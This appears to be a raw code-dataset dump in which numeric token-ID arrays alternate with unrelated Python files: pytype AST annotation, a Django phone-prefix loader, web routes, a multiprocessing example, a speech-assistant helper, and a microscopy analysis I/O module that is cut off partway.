6943,
1023,
731,
3618,
29889,
13,
268,
448,
319,
9657,
29892,
13138,
15786,
310,
2211,
13722,
12786,
29889,
13,
539,
450,
12786,
526,
15659,
3025,
1023,
29899,
15670,
7581,
11561,
6702,
29896,
29900,
742,
525,
29900,
29896,
742,
322,
525,
29896,
29896,
5477,
8151,
263,
2854,
731,
1033,
1106,
763,
29901,
13,
539,
11117,
29896,
29900,
2396,
29871,
29896,
29900,
29892,
525,
29900,
29896,
2396,
29871,
29906,
29900,
29892,
525,
29896,
29896,
2396,
29871,
29946,
29900,
1836,
853,
358,
28487,
11561,
526,
5545,
304,
2910,
304,
29871,
29900,
29889,
13,
268,
448,
319,
1051,
313,
272,
263,
18761,
29897,
411,
2211,
3694,
29892,
972,
11427,
278,
15786,
310,
278,
12786,
297,
278,
1494,
1797,
29901,
13,
539,
313,
29896,
29900,
29892,
29871,
29900,
29896,
29892,
29871,
29896,
29896,
29897,
13,
13,
1678,
4954,
842,
29918,
21134,
16159,
3443,
338,
263,
1051,
310,
1023,
6031,
448,
731,
11073,
29889,
3789,
372,
304,
6213,
304,
11262,
731,
11073,
29889,
13,
1678,
450,
4954,
842,
29918,
27703,
16159,
3443,
881,
367,
263,
1051,
310,
1023,
3161,
29892,
22146,
278,
376,
3188,
11955,
29908,
310,
278,
1023,
22558,
29889,
13,
1678,
450,
2927,
310,
8607,
17686,
674,
367,
15712,
2729,
373,
1906,
29889,
13,
13,
1678,
450,
4954,
8945,
675,
29918,
517,
16159,
3443,
1580,
11057,
278,
3001,
313,
265,
29899,
1165,
267,
29897,
4038,
310,
278,
22558,
304,
367,
12061,
29889,
18512,
18515,
292,
372,
313,
29873,
12966,
13,
1678,
411,
278,
12463,
6216,
545,
2159,
29897,
1122,
367,
5407,
304,
6216,
278,
1426,
11073,
2253,
29889,
13,
1678,
450,
736,
995,
338,
263,
4954,
29963,
2108,
12130,
14442,
16159,
1203,
29892,
393,
14874,
9282,
304,
278,
4954,
1626,
16159,
322,
4954,
29925,
905,
16159,
3618,
1304,
373,
278,
6492,
13,
1678,
322,
16869,
366,
1073,
278,
1644,
414,
322,
2971,
2236,
310,
278,
22558,
29892,
565,
366,
817,
372,
29889,
13,
13,
1678,
450,
4954,
1165,
16159,
3443,
1580,
11057,
278,
27815,
373,
607,
278,
6492,
674,
367,
12061,
313,
8516,
2794,
1857,
27815,
467,
13,
13,
1678,
450,
4954,
6484,
29918,
1643,
29918,
689,
2620,
16159,
3443,
338,
263,
740,
393,
508,
367,
4502,
304,
3402,
278,
11073,
13,
1678,
393,
8453,
278,
2159,
310,
1269,
11306,
29889,
13,
13,
1678,
8653,
515,
22889,
29918,
854,
29876,
1053,
334,
13,
1678,
8653,
325,
353,
325,
2108,
29906,
29898,
6484,
29879,
3790,
29915,
29896,
29900,
2396,
29871,
29896,
29892,
525,
29900,
29896,
2396,
29871,
29896,
29892,
525,
29896,
29896,
2396,
29871,
29896,
1118,
731,
29918,
21134,
353,
6702,
29909,
742,
525,
29933,
8785,
13,
1678,
8653,
274,
353,
325,
2108,
29906,
29918,
19052,
7799,
29898,
6484,
29879,
7607,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
511,
6276,
342,
1508,
2433,
14592,
287,
1495,
13,
1678,
8653,
325,
29889,
657,
29918,
5041,
29918,
1609,
29918,
333,
877,
29896,
29900,
2824,
842,
29918,
2312,
29898,
29896,
29889,
29900,
29897,
13,
1678,
8653,
325,
29889,
657,
29918,
5041,
29918,
1609,
29918,
333,
877,
29896,
29900,
2824,
842,
29918,
2780,
877,
10921,
1495,
13,
1678,
8653,
325,
29889,
657,
29918,
1643,
29918,
1609,
29918,
333,
877,
29896,
29900,
2824,
842,
29918,
726,
877,
14148,
1495,
13,
1678,
8653,
325,
29889,
657,
29918,
1643,
29918,
1609,
29918,
333,
877,
29909,
2824,
842,
29918,
726,
877,
2697,
319,
1495,
13,
13,
1678,
887,
508,
3867,
6166,
6053,
3265,
1135,
11306,
15786,
29901,
13,
1678,
8653,
325,
353,
325,
2108,
29906,
29898,
6484,
29879,
11759,
842,
4197,
29896,
29892,
29906,
11724,
731,
4197,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
2314,
1402,
731,
29918,
21134,
353,
6702,
29909,
742,
525,
29933,
8785,
13,
1678,
8653,
274,
353,
325,
2108,
29906,
29918,
19052,
7799,
29898,
6484,
29879,
11759,
842,
4197,
29896,
29892,
29906,
11724,
731,
4197,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
2314,
1402,
6276,
342,
1508,
2433,
14592,
287,
1495,
13,
1678,
8653,
1596,
11702,
29900,
29889,
29906,
29888,
29908,
1273,
313,
29894,
29889,
657,
29918,
16622,
29918,
13471,
29898,
29896,
6802,
29894,
29889,
657,
29918,
16622,
29918,
13471,
29898,
29900,
4961,
13,
268,
29896,
29889,
29946,
29896,
13,
1678,
14550,
13,
1678,
565,
338,
8758,
29898,
6484,
29879,
29892,
9657,
1125,
13,
4706,
27639,
353,
518,
6484,
29879,
29889,
657,
29898,
29873,
29892,
29871,
29900,
29897,
363,
260,
297,
6024,
29896,
29900,
742,
525,
29900,
29896,
742,
525,
29896,
29896,
2033,
29962,
13,
1678,
25342,
7431,
29898,
6484,
29879,
29897,
1275,
29871,
29906,
29901,
13,
4706,
27639,
353,
10272,
29918,
854,
29876,
29906,
29918,
6484,
29879,
10456,
6484,
29879,
29897,
13,
13,
1678,
565,
11306,
29918,
1643,
29918,
689,
2620,
338,
6213,
29901,
13,
4706,
11306,
29918,
1643,
29918,
689,
2620,
353,
851,
13,
13,
1678,
10161,
353,
10272,
29918,
854,
29876,
29906,
29918,
598,
294,
29898,
6484,
29879,
29892,
4226,
675,
29918,
517,
29897,
13,
1678,
1644,
414,
29892,
2971,
2236,
353,
4505,
29918,
854,
29876,
29906,
29918,
19052,
7799,
29898,
598,
294,
29897,
13,
1678,
12786,
353,
10272,
29918,
854,
29876,
29906,
29918,
1727,
1080,
29898,
1760,
414,
29892,
2971,
2236,
29897,
13,
1678,
11955,
353,
10272,
29918,
854,
29876,
29906,
29918,
27703,
29898,
842,
29918,
27703,
29897,
13,
13,
1678,
565,
4853,
338,
6213,
29901,
13,
4706,
4853,
353,
330,
1113,
580,
13,
1678,
19012,
29918,
854,
29876,
29918,
1165,
267,
29898,
1165,
29892,
1644,
414,
29892,
2971,
2236,
29897,
13,
13,
1678,
396,
6204,
322,
788,
13261,
267,
322,
11306,
11073,
13,
1678,
13261,
267,
353,
518,
29878,
29889,
5675,
29918,
5041,
580,
363,
364,
297,
12786,
29962,
13,
1678,
363,
313,
29886,
29892,
274,
29897,
297,
14319,
29898,
5041,
267,
29892,
11955,
1125,
13,
4706,
565,
282,
338,
451,
6213,
29901,
13,
9651,
282,
29889,
842,
29918,
2161,
2780,
29898,
29883,
29897,
13,
9651,
282,
29889,
842,
29918,
12864,
2780,
877,
9290,
1495,
13,
9651,
282,
29889,
842,
29918,
2312,
29898,
2312,
29897,
13,
9651,
4853,
29889,
1202,
29918,
5041,
29898,
29886,
29897,
13,
1678,
3858,
29918,
1066,
2187,
353,
518,
29878,
29889,
1643,
29918,
3283,
580,
363,
364,
297,
12786,
29962,
13,
1678,
11306,
29918,
21134,
353,
518,
1165,
29889,
726,
29898,
26648,
29961,
29900,
1402,
301,
2204,
29961,
29896,
1402,
11306,
29918,
1643,
29918,
689,
2620,
29898,
29879,
511,
2947,
2433,
5064,
742,
447,
2433,
5064,
1495,
565,
301,
2204,
338,
451,
6213,
1683,
6213,
363,
313,
26648,
29892,
269,
29897,
297,
14319,
29898,
1643,
29918,
1066,
2187,
29892,
27639,
4638,
13,
13,
1678,
396,
20627,
731,
11073,
13,
1678,
565,
731,
29918,
21134,
338,
451,
6213,
29901,
13,
4706,
7164,
353,
7442,
29889,
12676,
4197,
29878,
334,
29871,
29900,
29889,
29896,
363,
364,
297,
2971,
2236,
2314,
13,
4706,
3858,
29918,
1066,
2187,
353,
518,
1760,
414,
29961,
29900,
29962,
718,
7442,
29889,
2378,
4197,
29900,
29889,
29900,
29892,
448,
2971,
2236,
29961,
29900,
29962,
448,
7164,
11724,
13,
462,
965,
1644,
414,
29961,
29896,
29962,
718,
7442,
29889,
2378,
4197,
29900,
29889,
29900,
29892,
448,
2971,
2236,
29961,
29896,
29962,
448,
7164,
2314,
29962,
13,
4706,
11073,
353,
518,
1165,
29889,
726,
29898,
1066,
29961,
29900,
1402,
926,
29961,
29896,
1402,
13872,
29892,
2159,
2433,
16961,
742,
447,
2433,
1266,
742,
2947,
2433,
3332,
1495,
363,
313,
1066,
29892,
13872,
29897,
297,
14319,
29898,
1643,
29918,
1066,
2187,
29892,
731,
29918,
21134,
4638,
13,
4706,
11073,
29961,
29896,
1822,
842,
29918,
2350,
877,
1563,
1495,
13,
1678,
1683,
29901,
13,
4706,
11073,
353,
6213,
13,
1678,
736,
478,
2108,
12130,
14442,
29898,
5041,
267,
29892,
11306,
29918,
21134,
29892,
11073,
29892,
1644,
414,
29892,
2971,
2236,
29897,
13,
2
] |
src/main/java/refactoringminer/python/typeinference/pythonscripts/CheckTypeString.py | maldil/RefactoringMiner | 6 | 1615026 | <reponame>maldil/RefactoringMiner<filename>src/main/java/refactoringminer/python/typeinference/pythonscripts/CheckTypeString.py<gh_stars>1-10
from __future__ import print_function
import ast
import json
import textwrap
from pytype import config
from pytype.tools.annotate_ast import annotate_ast
pytype_out_path = '/pytype_output/.pytype/'
def annotate(source,file_name):
source = textwrap.dedent(source.lstrip('\n'))
ast_factory = lambda unused_options: ast
# pytype_options = config.Options.create(python_version=(3,7),nofail=True,protocols=True,no_report_errors=True,keep_going=True,
# imports_map=pytype_out_path+'/imports/'+file_name)
pytype_options = config.Options.create(python_version=(3,7),nofail=True,protocols=True,
imports_map=pytype_out_path+'/imports/'+file_name)
module = annotate_ast.annotate_source(source, ast_factory, pytype_options)
return module
def get_annotations_dict( module,empty_line):
return [{"lineNumber":_get_node_key(node)[0]+empty_line,"col_offset":_get_node_key(node)[1],"nodeName":_get_node_key(node)[2],"type":node.resolved_annotation}
for node in ast.walk(module)
if hasattr(node, 'resolved_type')]
def _get_node_key(node):
# AST Name = node.__class__.__name__
base = (node.lineno,node.col_offset)
if isinstance(node, ast.Name):
return base + (node.id,)
elif isinstance(node, ast.Attribute):
return base + (node.attr,)
elif isinstance(node, ast.FunctionDef):
return base + (node.name,)
elif isinstance(node, ast.Param):
return base + (node.name,)
else:
return base
if __name__ == '__main__':
module = annotate("xxx={1:'3',1:3}",'test4.imports')
dic_str = get_annotations_dict(module,0)
# print(dic_str)
json_object = json.dumps(dic_str)
print(json_object)
| [
1,
529,
276,
1112,
420,
29958,
29885,
2741,
309,
29914,
5620,
7168,
292,
29924,
4983,
29966,
9507,
29958,
4351,
29914,
3396,
29914,
1645,
29914,
999,
7168,
292,
1195,
261,
29914,
4691,
29914,
1853,
262,
1659,
29914,
29886,
1541,
787,
924,
29879,
29914,
5596,
1542,
1231,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
5215,
8717,
13,
5215,
4390,
13,
5215,
1426,
6312,
13,
13,
3166,
11451,
1853,
1053,
2295,
13,
3166,
11451,
1853,
29889,
8504,
29889,
6735,
403,
29918,
579,
1053,
9732,
403,
29918,
579,
13,
13,
2272,
1853,
29918,
449,
29918,
2084,
353,
8207,
2272,
1853,
29918,
4905,
6294,
2272,
1853,
22208,
13,
13,
1753,
9732,
403,
29898,
4993,
29892,
1445,
29918,
978,
1125,
13,
1678,
2752,
353,
1426,
6312,
29889,
7176,
296,
29898,
4993,
29889,
29880,
17010,
28909,
29876,
8785,
13,
1678,
8717,
29918,
14399,
353,
14013,
443,
3880,
29918,
6768,
29901,
8717,
13,
1678,
396,
11451,
1853,
29918,
6768,
353,
2295,
29889,
5856,
29889,
3258,
29898,
4691,
29918,
3259,
7607,
29941,
29892,
29955,
511,
3998,
737,
29922,
5574,
29892,
20464,
29879,
29922,
5574,
29892,
1217,
29918,
12276,
29918,
12523,
29922,
5574,
29892,
17462,
29918,
17696,
29922,
5574,
29892,
13,
1678,
396,
1669,
24802,
29918,
1958,
29922,
2272,
1853,
29918,
449,
29918,
2084,
23097,
29914,
326,
4011,
29914,
18717,
1445,
29918,
978,
29897,
13,
1678,
11451,
1853,
29918,
6768,
353,
2295,
29889,
5856,
29889,
3258,
29898,
4691,
29918,
3259,
7607,
29941,
29892,
29955,
511,
3998,
737,
29922,
5574,
29892,
20464,
29879,
29922,
5574,
29892,
13,
462,
462,
965,
24802,
29918,
1958,
29922,
2272,
1853,
29918,
449,
29918,
2084,
23097,
29914,
326,
4011,
29914,
18717,
1445,
29918,
978,
29897,
13,
13,
1678,
3883,
353,
9732,
403,
29918,
579,
29889,
6735,
403,
29918,
4993,
29898,
4993,
29892,
8717,
29918,
14399,
29892,
11451,
1853,
29918,
6768,
29897,
13,
1678,
736,
3883,
13,
13,
1753,
679,
29918,
6735,
800,
29918,
8977,
29898,
3883,
29892,
6310,
29918,
1220,
1125,
13,
1678,
736,
518,
6377,
1220,
4557,
1115,
29918,
657,
29918,
3177,
29918,
1989,
29898,
3177,
9601,
29900,
10062,
6310,
29918,
1220,
1699,
1054,
29918,
10289,
1115,
29918,
657,
29918,
3177,
29918,
1989,
29898,
3177,
9601,
29896,
1402,
29908,
3177,
1170,
1115,
29918,
657,
29918,
3177,
29918,
1989,
29898,
3177,
9601,
29906,
1402,
29908,
1853,
1115,
3177,
29889,
9778,
1490,
29918,
18317,
29913,
13,
9651,
363,
2943,
297,
8717,
29889,
20919,
29898,
5453,
29897,
13,
9651,
565,
756,
5552,
29898,
3177,
29892,
525,
9778,
1490,
29918,
1853,
1495,
29962,
13,
13,
13,
1753,
903,
657,
29918,
3177,
29918,
1989,
29898,
3177,
1125,
13,
1678,
396,
319,
1254,
4408,
353,
2943,
17255,
1990,
1649,
17255,
978,
1649,
13,
1678,
2967,
353,
313,
3177,
29889,
1915,
8154,
29892,
3177,
29889,
1054,
29918,
10289,
29897,
13,
1678,
565,
338,
8758,
29898,
3177,
29892,
8717,
29889,
1170,
1125,
13,
4706,
736,
2967,
718,
313,
3177,
29889,
333,
29892,
29897,
13,
1678,
25342,
338,
8758,
29898,
3177,
29892,
8717,
29889,
6708,
1125,
13,
4706,
736,
2967,
718,
313,
3177,
29889,
5552,
29892,
29897,
13,
1678,
25342,
338,
8758,
29898,
3177,
29892,
8717,
29889,
6678,
3206,
1125,
13,
4706,
736,
2967,
718,
313,
3177,
29889,
978,
29892,
29897,
13,
1678,
25342,
338,
8758,
29898,
3177,
29892,
8717,
29889,
4736,
1125,
13,
4706,
736,
2967,
718,
313,
3177,
29889,
978,
29892,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
2967,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
3883,
353,
9732,
403,
703,
12353,
3790,
29896,
11283,
29941,
742,
29896,
29901,
29941,
17671,
29915,
1688,
29946,
29889,
326,
4011,
1495,
13,
1678,
12124,
29918,
710,
353,
679,
29918,
6735,
800,
29918,
8977,
29898,
5453,
29892,
29900,
29897,
13,
1678,
396,
1596,
29898,
27774,
29918,
710,
29897,
13,
1678,
4390,
29918,
3318,
353,
4390,
29889,
29881,
17204,
29898,
27774,
29918,
710,
29897,
13,
1678,
1596,
29898,
3126,
29918,
3318,
29897,
13,
2
] |
applications/nationality/management/commands/LoadNumbering.py | dev-easyshares/mighty | 0 | 141551 | <reponame>dev-easyshares/mighty<gh_stars>0
from django.conf import settings
from mighty.management import ModelBaseCommand
from mighty.models import Nationality
from mighty.applications.nationality.apps import NationalityConfig as conf
import os.path
class Command(ModelBaseCommand):
def get_queryset(self, *args, **kwargs):
from phonenumbers.data import _COUNTRY_CODE_TO_REGION_CODE
qs = []
for prefix, values in _COUNTRY_CODE_TO_REGION_CODE.items():
for value in values:
qs.append({"alpha": value, "numbering": prefix})
return qs
def on_object(self, obj):
try:
nat = Nationality.objects.get(alpha2__iexact=obj["alpha"])
nat.numbering = obj["numbering"]
nat.save()
except Nationality.DoesNotExist:
self.errors.append(obj)
| [
1,
529,
276,
1112,
420,
29958,
3359,
29899,
29872,
8995,
845,
5114,
29914,
29885,
523,
29891,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
27977,
29889,
21895,
1053,
8125,
5160,
6255,
13,
3166,
27977,
29889,
9794,
1053,
3086,
537,
13,
3166,
27977,
29889,
932,
5795,
29889,
29876,
1288,
537,
29889,
13371,
1053,
3086,
537,
3991,
408,
1970,
13,
5215,
2897,
29889,
2084,
13,
13,
1990,
10516,
29898,
3195,
5160,
6255,
1125,
13,
13,
1678,
822,
679,
29918,
1972,
842,
29898,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
515,
1374,
265,
18605,
2596,
29889,
1272,
1053,
903,
3217,
3904,
5659,
29979,
29918,
16524,
29918,
4986,
29918,
18166,
2725,
29918,
16524,
13,
4706,
3855,
29879,
353,
5159,
13,
4706,
363,
10944,
29892,
1819,
297,
903,
3217,
3904,
5659,
29979,
29918,
16524,
29918,
4986,
29918,
18166,
2725,
29918,
16524,
29889,
7076,
7295,
13,
9651,
363,
995,
297,
1819,
29901,
13,
18884,
3855,
29879,
29889,
4397,
3319,
29908,
2312,
1115,
995,
29892,
376,
4537,
292,
1115,
10944,
1800,
13,
4706,
736,
3855,
29879,
13,
13,
1678,
822,
373,
29918,
3318,
29898,
1311,
29892,
5446,
1125,
13,
4706,
1018,
29901,
13,
9651,
14033,
353,
3086,
537,
29889,
12650,
29889,
657,
29898,
2312,
29906,
1649,
347,
29916,
627,
29922,
5415,
3366,
2312,
20068,
13,
9651,
14033,
29889,
4537,
292,
353,
5446,
3366,
4537,
292,
3108,
13,
9651,
14033,
29889,
7620,
580,
13,
4706,
5174,
3086,
537,
29889,
25125,
3664,
1252,
391,
29901,
13,
9651,
1583,
29889,
12523,
29889,
4397,
29898,
5415,
29897,
13,
308,
2
] |
routes/web.py | girardinsamuel/api | 12 | 73729 | """ Web Routes """
from masonite.routes import Get, Post
from src.api.routes import JWTRoutes, TokenRoutes
from app.resources.UserResource import UserResource
ROUTES = [
Get().route('/', 'WelcomeController@show').name('welcome'),
UserResource('/api/user').routes(),
TokenRoutes('/token'),
JWTRoutes('/authorize'),
]
| [
1,
9995,
2563,
20829,
267,
9995,
13,
3166,
286,
1658,
568,
29889,
27894,
1053,
3617,
29892,
4918,
13,
13,
3166,
4765,
29889,
2754,
29889,
27894,
1053,
435,
29956,
5659,
449,
267,
29892,
25159,
24254,
267,
13,
3166,
623,
29889,
13237,
29889,
2659,
6848,
1053,
4911,
6848,
13,
13,
1672,
2692,
2890,
353,
518,
13,
1678,
3617,
2141,
13134,
11219,
742,
525,
28862,
2763,
2956,
29992,
4294,
2824,
978,
877,
20466,
2763,
5477,
13,
1678,
4911,
6848,
11219,
2754,
29914,
1792,
2824,
27894,
3285,
13,
13,
1678,
25159,
24254,
267,
11219,
6979,
5477,
13,
1678,
435,
29956,
5659,
449,
267,
11219,
8921,
675,
5477,
13,
29962,
13,
2
] |
Chapter 6/09 - The built-in multiprocessing module/basic_multiprocessing.py | moseskim/Expert-Python-Programming-Fourth-Edition | 0 | 8347 | <filename>Chapter 6/09 - The built-in multiprocessing module/basic_multiprocessing.py
"""
"멀티프로세싱"절 예시
`multiprocessing` 모듈을 이용해 새로운 프로세스들을
생성하는 방법을 설명한다.
"""
from multiprocessing import Process
import os
def work(identifier):
print(f'Hey, I am the process ' f'{identifier}, pid: {os.getpid()}')
def main():
processes = [Process(target=work, args=(number,)) for number in range(5)]
for process in processes:
process.start()
while processes:
processes.pop().join()
if __name__ == "__main__":
main()
| [
1,
529,
9507,
29958,
1451,
3314,
29871,
29953,
29914,
29900,
29929,
448,
450,
4240,
29899,
262,
6674,
307,
985,
292,
3883,
29914,
16121,
29918,
18056,
307,
985,
292,
29889,
2272,
13,
15945,
29908,
13,
29908,
238,
172,
131,
240,
142,
179,
240,
151,
135,
30906,
31578,
239,
142,
180,
29908,
239,
163,
139,
29871,
239,
155,
139,
30889,
13,
29952,
18056,
307,
985,
292,
29952,
29871,
31962,
238,
150,
139,
31286,
29871,
30393,
31737,
31435,
29871,
239,
134,
139,
30906,
239,
157,
183,
29871,
240,
151,
135,
30906,
31578,
30784,
31804,
31286,
13,
239,
134,
160,
31126,
30944,
31081,
29871,
31945,
238,
181,
152,
31286,
29871,
239,
135,
167,
31976,
30877,
30709,
29889,
13,
15945,
29908,
13,
3166,
6674,
307,
985,
292,
1053,
10554,
13,
5215,
2897,
13,
13,
13,
1753,
664,
29898,
25378,
1125,
13,
1678,
1596,
29898,
29888,
29915,
29950,
1032,
29892,
306,
626,
278,
1889,
525,
285,
29915,
29912,
25378,
1118,
23107,
29901,
426,
359,
29889,
657,
5935,
28296,
1495,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
10174,
353,
518,
7032,
29898,
5182,
29922,
1287,
29892,
6389,
7607,
4537,
29892,
876,
363,
1353,
297,
3464,
29898,
29945,
4638,
13,
1678,
363,
1889,
297,
10174,
29901,
13,
4706,
1889,
29889,
2962,
580,
13,
13,
1678,
1550,
10174,
29901,
13,
4706,
10174,
29889,
7323,
2141,
7122,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
ava_cmds.py | fossabot/ava | 0 | 117329 | """
AVA's primary commands file
Located here are all of AVA's core commands
"""
def speak(text=None):
"""
The voice of AVA
"""
import pyttsx3
# Initialize the engine
engine = pyttsx3.init(driverName=None, debug=True)
# Get and set female voice, because in this case Ava is a female.
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[1].id)
# Speak
engine.say(text)
# TODO Find and use a none blocking method so that commands can be cancelled
# TODO Find a way to chose blocking and non-blocking based on circumstances.
# (Programmer choice? Automatic Choice?)
# Blocking method! Process all queued TTS commands
engine.runAndWait()
def check_internet_connectivity():
"""
Check if you're connected to the internet
Returns True if connected, False if anything else
"""
import requests
try:
requests.get("http://google.com")
return True
except requests.ConnectionError:
return False
def questions(question=None):
"""
docstring
"""
# TODO "AVA, add the phrase <PHRASE> to the question <QUESTION>""
print(question)
| [
1,
9995,
13,
26612,
29915,
29879,
7601,
8260,
934,
13,
3524,
630,
1244,
526,
599,
310,
16884,
29909,
29915,
29879,
7136,
8260,
13,
15945,
29908,
13,
13,
1753,
7726,
29898,
726,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
450,
7314,
310,
16884,
29909,
13,
1678,
9995,
13,
13,
1678,
1053,
11451,
698,
29879,
29916,
29941,
13,
13,
1678,
396,
25455,
278,
6012,
13,
1678,
6012,
353,
11451,
698,
29879,
29916,
29941,
29889,
2344,
29898,
9465,
1170,
29922,
8516,
29892,
4744,
29922,
5574,
29897,
13,
13,
1678,
396,
3617,
322,
731,
12944,
7314,
29892,
1363,
297,
445,
1206,
319,
1564,
338,
263,
12944,
29889,
13,
1678,
28848,
353,
6012,
29889,
657,
4854,
877,
1365,
1575,
1495,
13,
1678,
6012,
29889,
842,
4854,
877,
14917,
742,
28848,
29961,
29896,
1822,
333,
29897,
13,
13,
1678,
396,
5013,
557,
13,
1678,
6012,
29889,
20834,
29898,
726,
29897,
13,
13,
1678,
396,
14402,
10987,
322,
671,
263,
5642,
23473,
1158,
577,
393,
8260,
508,
367,
12611,
839,
13,
1678,
396,
14402,
10987,
263,
982,
304,
12784,
23473,
322,
1661,
29899,
1271,
292,
2729,
373,
14209,
29889,
13,
1678,
396,
418,
313,
9283,
1050,
7348,
29973,
15854,
2454,
14542,
625,
7897,
13,
1678,
396,
15658,
292,
1158,
29991,
10554,
599,
712,
6742,
323,
9375,
8260,
13,
1678,
6012,
29889,
3389,
2855,
15716,
580,
13,
13,
1753,
1423,
29918,
14168,
300,
29918,
6915,
2068,
7295,
13,
1678,
9995,
13,
1678,
5399,
565,
366,
29915,
276,
6631,
304,
278,
8986,
13,
1678,
16969,
5852,
565,
6631,
29892,
7700,
565,
3099,
1683,
13,
1678,
9995,
13,
1678,
1053,
7274,
13,
1678,
1018,
29901,
13,
4706,
7274,
29889,
657,
703,
1124,
597,
3608,
29889,
510,
1159,
13,
4706,
736,
5852,
13,
1678,
5174,
7274,
29889,
5350,
2392,
29901,
13,
4706,
736,
7700,
13,
13,
1753,
5155,
29898,
12470,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
1574,
1807,
13,
1678,
9995,
13,
1678,
396,
14402,
376,
26612,
29892,
788,
278,
16549,
529,
19689,
4717,
1660,
29958,
304,
278,
1139,
529,
14130,
2725,
11903,
29908,
13,
1678,
1596,
29898,
12470,
29897,
13,
2
] |
storm_analysis/sa_library/analysis_io.py | bintulab/storm-analysis | 0 | 129904 | #/usr/bin/env python
"""
Input/Output classes that are used by 3D-DAOSTORM, sCMOS, Spliner
and Multiplane analysis.
Hazen 09/17
"""
import numpy
import os
import sys
from xml.etree import ElementTree
import storm_analysis.sa_library.datareader as datareader
import storm_analysis.sa_library.parameters as params
import storm_analysis.sa_library.readinsight3 as readinsight3
import storm_analysis.sa_library.sa_h5py as saH5Py
import storm_analysis.sa_library.static_background as static_background
import storm_analysis.sa_library.writeinsight3 as writeinsight3
class AnalysisIOException(Exception):
pass
def isLatestFormat(filename):
"""
Returns True if the calibration file is the latest format. This
is mostly used for testing.
"""
data = numpy.load(filename, allow_pickle = True)
return (len(data) == 5) and (data[4] == 2)
def loadCMOSCalibration(filename, verbose = False):
"""
CMOS calibration file reader. This will return the CMOS calibration
data as a list [offset, variance, gain, rqe].
offset - Pixel offset in units of ADU.
variance - Pixel variance in units of ADU*ADU.
gain - Pixel gain in units of ADU / photo-electron (e-).
rqe - Pixel relative quantum efficiency, dimensionless, it should be around 1.0.
filename - The name of calibration file. This should have been saved
using numpy.save.
"""
data = numpy.load(filename, allow_pickle = True)
# Check for v0 format.
if (len(data) == 3):
if verbose:
print("Version 0 sCMOS calibration file detected! Transposing!")
rqe = numpy.ones_like(data[0])
data = list(data) + [rqe]
return map(numpy.transpose, data)
# Check for v1 format.
elif (len(data) == 4):
if verbose:
print("Version 1 sCMOS calibration file detected! Using 1.0 for relative QE array!")
# v1 format.
if (data[3] == 1):
rqe = numpy.ones_like(data[0])
temp = list(data[:3])
temp.append(rqe)
return temp
# Check for v2 format.
elif (len(data) == 5):
# v2 format.
if (data[4] == 2):
return list(data[:4])
raise AnalysisIOException("Unknown sCMOS data format.")
class DataWriter(object):
"""
Encapsulate saving the output of the peak finder/fitter.
"""
def __init__(self, data_file = None, **kwds):
super(DataWriter, self).__init__(**kwds)
self.filename = data_file
self.n_added = 0
self.start_frame = -1
self.total_peaks = 0
def addPeaks(self, peaks, movie_reader):
self.n_added = peaks["x"].size
self.total_peaks += self.n_added
def getNumberAdded(self):
return self.n_added
def getFilename(self):
return self.filename
def getStartFrame(self):
return self.start_frame
def getTotalPeaks(self):
return self.total_peaks
class DataWriterHDF5(DataWriter):
"""
Encapsulate saving the output of the peak finder/fitter to a HDF5 file.
"""
def __init__(self, parameters = None, sa_type = None, **kwds):
super(DataWriterHDF5, self).__init__(**kwds)
self.movie_info_set = False
if os.path.exists(self.filename):
print("Existing analysis file found. Restarting from last analyzed frame.")
self.h5 = saH5Py.SAH5Py(filename = self.filename)
self.movie_info_set = True
# Find the last frame that we analyzed.
i = self.h5.getMovieLength()
while (i > 0):
if self.h5.isAnalyzed(i):
break
i -= 1
self.start_frame = i
else:
self.h5 = saH5Py.SAH5Py(filename = self.filename,
is_existing = False,
sa_type = sa_type)
# Save analysis parameters.
etree = parameters.toXMLElementTree(False)
if (sys.version_info > (3, 0)):
self.h5.addMetadata(ElementTree.tostring(etree, 'unicode'))
else:
self.h5.addMetadata(ElementTree.tostring(etree, 'ISO-8859-1'))
# Save pixel size.
self.h5.setPixelSize(parameters.getAttr("pixel_size"))
self.h5.setAnalysisFinished(False)
def addPeaks(self, peaks, movie_reader):
super(DataWriterHDF5, self).addPeaks(peaks, movie_reader)
if not self.movie_info_set:
self.h5.addMovieInformation(movie_reader)
self.movie_info_set = True
self.h5.addLocalizations(peaks, movie_reader.getCurrentFrameNumber())
def close(self, finished):
self.h5.setAnalysisFinished(finished)
self.h5.close(verbose = True)
class DataWriterI3(DataWriter):
"""
Encapsulate saving the output of the peak finder/fitter to an Insight3 format file.
Note: This format is deprecated.
"""
def __init__(self, parameters = None, **kwds):
super(DataWriterI3, self).__init__(**kwds)
raise Exception("Using the Insight3 format for analysis is deprecated!")
self.pixel_size = parameters.getAttr("pixel_size")
#
# If the i3 file already exists, read it in, write it
# out to prepare for starting the analysis from the
# end of what currently exists.
#
# FIXME: If the existing file is really large there
# could be problems here as we're going to load
# the whole thing into memory.
#
if(os.path.exists(self.filename)):
print("Found", self.filename)
i3data_in = readinsight3.loadI3File(self.filename)
if (i3data_in is None) or (i3data_in.size == 0):
self.start_frame = 0
else:
self.start_frame = int(numpy.max(i3data_in['fr']))
print(" Starting analysis at frame:", self.start_frame)
self.i3data = writeinsight3.I3Writer(self.filename)
if (self.start_frame > 0):
self.i3data.addMolecules(i3data_in)
self.total_peaks = i3data_in['x'].size
else:
self.start_frame = 0
self.i3data = writeinsight3.I3Writer(self.filename)
def addPeaks(self, peaks, movie_reader):
super(DataWriterI3, self).addPeaks(peaks, movie_reader)
self.i3data.addMultiFitMolecules(peaks,
movie_reader.getMovieX(),
movie_reader.getMovieY(),
movie_reader.getCurrentFrameNumber(),
self.pixel_size)
def close(self, metadata = None):
